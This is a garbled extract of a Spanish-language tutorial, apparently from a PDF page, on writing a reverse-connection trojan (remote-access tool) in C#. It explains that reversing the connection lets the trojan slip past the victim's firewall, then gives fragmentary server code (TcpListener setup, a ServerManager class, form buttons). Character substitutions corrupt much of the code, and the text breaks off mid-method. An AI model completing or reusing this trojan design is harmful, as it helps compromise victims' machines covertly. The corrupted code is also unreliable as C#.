Troyano Csharp – [PDF Document]

7/23/2019 Troyano Csharp

2/12

«x» : Introduccion

Un troyano de conexion inversa es aquel en el que el administrador del troyano es el servidor y la

victima es el cliente , eso nos ayuda para que no le salte el firewall a la victima cuando ejecute

aunque va a saltar el antivirus de todas formas si es server se vuelve conocido , los troyanos deconexion inversa es la forma moderna en la que aparecen todos los troyanos nuevos.

Al principio no encontraba ni ejemplos ni manuales de como hacer uno de troyano de conexion

inversa en C# pero gracias a un ejemplo llamado !everse Connection !A» xample hecho por

x$ilent de hac%hound logre entender el funcionamiento

$abiendo todo esto vamos hacer uno en C# con &isual $tudio ‘()(.

Comencemos …

«x»$ : Creacion del servidor

*rimero vamos a crear el servidor de la siguiente forma con visual studio +

Una ve creado el proyecto pongan lo siguientes namespaces al inicio del codigo +

usingSystem.Threading;// Lo usamos para poder manejar los hilos

usingSystem.Net.Sockets;// Lo usamos para poder crear la conexion

usingSystem.Net;// Lo usamos para poder crear la conexionusingSystem.Text.RegularExpressions;// Lo usamos para buscar enlos strings usando expresiones regulares

7/23/2019 Troyano Csharp

3/12

-espues pongan las siguientes variables gobales al inicio del codigo +

TcpListenertcpser!er;// Establecemos la !ariable tcpser!er como

TcpListenerThreadthreadser!er;// Establecemos la !ariable threadser!erThread

Ahora vamos a crear una clase llamada $erveranager con el siguiente codigo +

// Ser!er «anager// #oded $y %oddy &ackman// #redits ‘

// Rat $ased on ‘ http’//(((.hack)orums.net/sho(thread.php*tid+,-01!// Thanks to xSilent

usingSystem;

usingSystem.#ollections.2eneric;

usingSystem.Text;

usingSystem.Net.Sockets;// 3ara el manejo de sockets

usingSystem.45;// 3ara el manejo de Streams

usingSystem.6indo(s.7orms; // 3ara el manejo de )ormularios

usingSystem.Text.RegularExpressions;// 3ara el manejo deexpresiones regulares

namespaceser!er8

classSer!er»anager

8

publicTcp#lientmanager;// 9ariable global para manejar elcliente

publicstringip;// 9ariable global para tener la 43

publicdelegate!oidcargandodatos:Ser!er»anagermanagerstring»essage

7/23/2019 Troyano Csharp

5/12

l formulario del servidor lo vamos hacer de la siguiente forma +

/01 ) 2ist&iew con una columna que tiene de texto 3diots 4ound y ponen la propiedad &iew en

-etails

/01 5 6otones con el siguiente texto 7nline,7penC-,Close C-

2es tiene que quedar algo asi +

Una ve hecho esto hacemos doble clic% en el primer boton llamado 7nline para poner el

siguiente codigo +

[email protected]#lick:objectsenderE!entCrgse

Publicaciones Similares